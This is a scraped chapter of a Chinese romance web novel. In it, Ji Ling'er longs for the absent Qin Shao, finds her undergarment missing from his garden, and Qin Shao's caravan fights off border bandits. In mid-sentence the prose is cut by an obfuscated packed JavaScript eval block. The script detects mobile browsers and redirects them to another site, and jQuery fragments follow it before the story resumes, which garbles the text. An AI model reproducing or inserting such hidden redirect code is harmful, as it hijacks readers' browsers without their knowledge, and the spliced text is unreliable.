默认冷灰
24号文字
方正启体

80. 小衣

作者:抹茶非茶本书字数:K更新时间:
    与赵大人的渊源,正是她从未向外人道的秘密。


    一年前,赵大人还在河东府另一县任县令,辖内因闹蝗灾致百姓粮食收成锐减,朝廷的赈灾银迟迟未至,饥民等不及。


    赵大人典当家产自掏腰包垫付赈灾银两,但他是个两袖清风的直臣,微薄家底难解全县之饥。


    清心庵往来香客中有从灾县来的妇人,祷告提及灾情和赵大人义举,季灵儿得知后,以隆昌票号名义无息借贷三万两白银,助其渡过难关,自此结下善缘。


    赵大人也凭救灾之功升任知府,顶了先头汪知府之缺。履新不忘旧恩,一纸贺书,恰似金印玉册,为票号信誉作保。


    有官府撑腰,生意自是蒸蒸日上。


    隆昌票号规矩既定,季灵儿只需定期审查账目,把控风险,日常事务全交由季全和另一位掌柜打理,她平日照常在广兴票号完成自己的课业。


    县衙事后,广兴票号上下皆知她女子身份,索性以本来面目示人,且不让掌柜和少数几个知情人唤她少夫人,彻彻底底做回自己。


    日子忙碌且充实。


    季灵儿本没有多余的工夫惦记秦劭,但身上留下他太多物件,如影随形的茉莉幽香,低头可见的玉坠,以及她腕上系的坠元宝五彩绳。


    瞧见会忆起,刻意留在家中又觉得不适应。


    老男人惯会撩拨人,便是故意留这些劳什子,勾她念着他。


    真后悔当初心软留他借宿,没有留宿便不会有后续顺水推舟的亲近,她与他只是冷着,任他跑到天边去都与自己无关,哪会有现下尝过甜头骤然落空的抓心挠肝。


    跟蚊子叮咬在挠不着的地方似的,好生磨人。


    季灵儿又气又恼,在暗暗将人骂了个千遍万遍,可每句骂都牵着同他的过往,骂过心中关于他的痕迹就多一道,反倒是愈骂愈刻骨。


    转而好奇起来,自己睹物思人,他呢?她可没留贴身物件给他,还会时时想着自己吗?


    实在无处排遣,一头扎进账册里,数钱算账颇有奇效,心境平和不少。


    两家票号能数的账全数过一遍,开始数这段日子赚得的体己钱,手里现银和账上挪不动的轮番捋过,数字尚算可观,但比起早前秦劭给他数的一匣子私银还差一大截,不由感慨投胎也是门学问。


    惦念化成较劲,激起满心斗志,盘算着如何将票号生意再拓一层,赚钱的念头长起来,旁的渐渐显得没那么重要了。


    都说夏日漫长,可今夏似乎走得格外匆忙,接连几场雨冲去燥热,街巷积水未干,秋意已悄然爬上屋檐。


    黄叶萧瑟,桂花飘香。


    季灵儿日复一日扑在两家票号上,没闲心赏景看四季更迭的细节,只知香囊里的茉莉气味一日淡过一日。


    又一次贴近鼻尖嗅,唯余残留在香囊上的余香,心口忽地空了一块。


    香气淡了,情反倒愈发深浓。


    从前只是想起他,这一瞬季灵儿真的想他了,担心他是否安好。


    ...


    仲秋前日,广兴的掌柜交给季灵儿一封信,是北归商队捎回来的。信笺入手沉甸,封面书着她名字的字迹遒劲有力,一眼认出是秦劭手笔。


    寻了个背人的角落启封,展开竟有近十页笺纸,密密匝匝述着沿途所见之景,遇着奇景趣事会多费墨笔,偶尔附两幅简笔勾勒的景致,意趣生动。


    看落款乃秦劭月前所书,且算准了仲秋前后能送到她手中,最末处另起一行,额外提及德馨园秋日风景别有佳趣,邀她观赏小住,聊寄相思。


    “谁要思你。”季灵儿嘴上轻啐一句,却是仔仔细细将信重读一遍,按在胸口愣神良久。


    也罢,相思不相思的,赏赏秋色也好。


    如此想着,向掌柜告了第二日的假,清晨雇马车往德馨园去。


    才入园子,便觉桂香扑面,甜沁心脾。丫鬟见她来半分不意外,径直引她往后园,穿过九曲回廊,至临水轩榭。


    一池秋水映着天光云影,上次来时的满池荷花已是残荷枯茎,托着几片焦黄卷曲的叶,不肯彻底凋零,水面浮着零星桂花,随涟漪轻轻撞向石岸,岸边垂柳渐枯,枝条拂过水面,划开一圈圈细纹,枫叶渐染霜色,勉强撑着所谓秋色。


    入眼所见尽是萧瑟,哪里有半分赏心悦目,季灵儿直呼上当。


    静坐一盏茶,丫鬟们鱼贯而入,捧着各式佳肴和时鲜果馔,依次铺开,挤满整张青玉石桌。


    蟹肥酒香,琳琅满目,倒是比水榭外的景致诱人。


    可......未免太丰盛了些,她自己如何能吃的了。


    季灵儿讶然问丫鬟:“今日还有旁人来?”


    丫鬟摇头:“皆是爷临行前吩咐备办的,专等着您来呢。”


    合着是让她来看他心意的。


    不对,他又算计她心思!


    往年仲秋,除却在梁家的几年,季灵儿都是独自过的,从未觉得冷清,今年不出意外一个人躲在小宅子里也乐得自在,指不定还会出门逛庙会集市赶个热闹,被他一封信骗来,独自瞧冷清秋色,倒叫人生出几分落寞,心里发闷。


    此情此景,她没旁的取乐,只会念他,想他。


    季灵儿意识到其中诡计为时已晚,想他念头一旦起了,怨也好,气也好,惦念之心如春藤缠树,再挥之不去。


    相隔千万里还要想法子吊着她,老奸巨猾!实在可恶透了!


    园中有旁的住所,但季灵儿酒足饭饱后仍选择回常歇的栖云阁,就着酒兴铺纸研墨,洋洋洒洒写了满纸嗔怨,控诉他的狡诈与算计。


    掷笔才意识到,信根本送不到他手里。


    气愤地将信纸揉成一团,扬手欲丢又顿住,腕子悬在半空。


    便存放在此处罢,等他回来看!


    旋即专门找来空匣子,原样将那皱纸团放入其中。


    衣裳沾了酒气,季灵儿去衣柜寻干净衣物替换,翻来覆去的未找见那件绣着石榴花的妃色小衣。


    心中颇为纳罕。


    此处无旁人来,即便有,谁会偷拿她贴身衣物?


    唤来丫鬟询问。


    季灵儿来园中次数不算多,浣洗衣物寥寥,丫鬟的确有印象,回忆着答:“少夫人第二次来园中和其他衣裳一同换下的,底下人清洗过奴婢便收妥帖收入柜中了,后来......”


    话至一半犹疑,似有难言之处。


    季灵儿追问:“后来如何?”


    “奴婢们收拾床榻时见过,也见爷在水池边亲自清洗,不过爷专门嘱咐了,不许奴婢们擅动,便再没动过。”


    “他亲自洗?”


    “是。”


    丫鬟面上倒无异色,季灵儿愈发觉出不对劲。


    分明是洗干净收起来的,她未曾穿过,他为何要洗?


    他......


    脑中闪过一个荒唐的念头,季灵儿面上大窘,拼命摇头甩去。


    不可能,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703970|184104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    应当不可能做出那种事......吧?


    可如今他离开,衣服也不见,若非丢弃,唯有一种解释——他将衣裳带走了!


    季灵儿越想越觉得别扭,又在纸上写下数十个“变态”泄愤,墨迹横七竖八,同样团起来丢进留给他的匣子里。


    ...


    蒙古边境的九月已透出刺骨的寒意,数百骆驼组成的商队,旌旗招展,浩浩汤汤。如此阵仗只能震慑寻常马匪,眼见快至最险要处,商队上下无不悬心。


    秦劭勒马高坡,玄色貂裘在朔风中扑簌作响,他望着远处横亘天际的灰色山脉,眉心紧紧锁成川字。


    据领路人说,前面峡谷处是布日古德马匪常出没之地。


    布日古德在蒙古语种意为“雕”,亦是雄鹰之意,此匪帮中多是蒙古族人和混杂的亡命之徒,精于骑射,十分熟悉草原地形,来去如风,手段凶残,谋财害命是家常便饭,单一个名号便令人闻风丧胆。


    阿吉驱马近前,道:“爷,探路的兄弟回报,三十里内没见着活物。”


    秦劭仍凝在远处那片死寂,少顷,附耳叮嘱阿吉几句。


    商队缓缓驶入峡谷,岩壁陡峭,两侧高地如鬼怪巨兽,投下的阴影几乎吞噬天光,阴风穿谷而过,卷起沙砾直往人身上拍。


    行至狭窄处,一声尖锐呼哨破空。


    乱石后,崖顶上,冒出密密麻麻的人影。清一色皮袍弯刀,头戴圆形锥帽,露出凶悍面容。为首的虬髯汉子鹰隼般扫视下方商队,用生硬汉语喝道:“卸货留命!”


    “放箭!”护卫商队的镖头下令。


    乱箭如急雨破空飞出。


    马匪齐刷刷俯身马背,左右驰射,他们战斗经验丰富,不消片刻商队前排的伙计已倒下一片,匪首纵马冲破商队,手中弯刀划出寒光,刀刀取人性命,直向秦劭逼近。


    秦劭早已抽出长剑,侧身避过,旋即调转马头迎上,他习过防身术,刀光交错撑过几个回合。


    匪首显然未料到有此反抗之力,狞笑一声,刀锋陡转,刀势猛然下压,直往秦劭肩颈劈落,秦劭猛提缰绳,马儿前蹄扬起,堪堪避过,但刀锋擦过马颈,溅起一串血珠。


    秦劭借势滚落马背,眼看又一刀劈来,镖头横枪格挡,弯刀压向肩头迸溅。


    “大当家先走!”镖头目眦欲裂。


    秦劭就地翻滚,趁镖头与匪首对抗期间,抽出靴中匕首突刺匪首的马腿。


    寒光一闪,又刺向马腹,马儿嘶鸣,将匪首掀落马背。


    与此同时,阿吉终于脱出身,照吩咐带人将火油罐掷向崖上引燃,浓烟腾起,烈焰顺着岩壁攀爬,呛得马匪阵脚大乱。


    商队在火墙掩护下冲出峡谷。


    烟尘蔽日,马蹄声渐远,匪首于乱石间翻身爬起,抹去脸上血渍,望着远去的商队残影,并未让人追击。


    待商队行到安全地带,已是玉盘高挂,大伙得了喘息机会,原地歇息清点伤亡,亡者十余人,伤者十余,驼货散失近半。


    一切安顿妥当,秦劭包扎伤口,仰面在篝火旁躺下,望见月满中天才意识到是仲秋。


    手掌探入胸前摸索着那片再熟悉不过的刺绣石榴花脉络,终于卸下疲惫,漆黑眸子照进月光,映着最深处的一缕柔和。


    仲秋之夜,小姑娘应当已去了叠翠园,想必此刻正噙着酒意骂他罢。


    思及此,唇畔荡开浅笑。


    骂便骂罢,只要还与愿意惦记他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)